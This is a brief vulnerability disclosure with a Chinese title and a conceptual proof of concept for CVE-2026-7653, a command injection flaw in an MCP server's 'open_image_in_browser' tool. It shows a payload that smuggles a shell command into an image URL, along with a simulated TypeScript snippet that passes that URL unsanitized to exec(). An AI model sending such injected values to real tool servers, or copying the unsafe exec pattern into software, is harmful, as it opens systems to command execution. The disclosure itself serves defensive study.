CVE-2026-7653: mcp-server-rijksmuseum命令注入漏洞

// Conceptual PoC for CVE-2026-7653 // The vulnerable function 'open_image_in_browser' takes an 'imageUrl' argument // and passes it unsanitized to a system command (e.g., `open` or `xdg-open`). // Malicious payload construction to inject commands // Example: Request to open an image, followed by a command to create a file const payload = "http://example.com/image.jpg; touch /tmp/pwned_by_cve_2026_7653"; // In a real attack scenario, this payload would be sent to the MCP server // via the 'open_image_in_browser' tool call. // Simulated vulnerable code snippet (src/index.ts): /* import { exec } from 'child_process'; function open_image_in_browser(imageUrl: string) { // VULNERABLE: imageUrl is directly interpolated into the command string const command = `open ${imageUrl}`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); } // Triggering the exploit open_image_in_browser(payload); */ // Result: The system executes "open http://example.com/image.jpg" and then "touch /tmp/pwned_by_cve_2026_7653"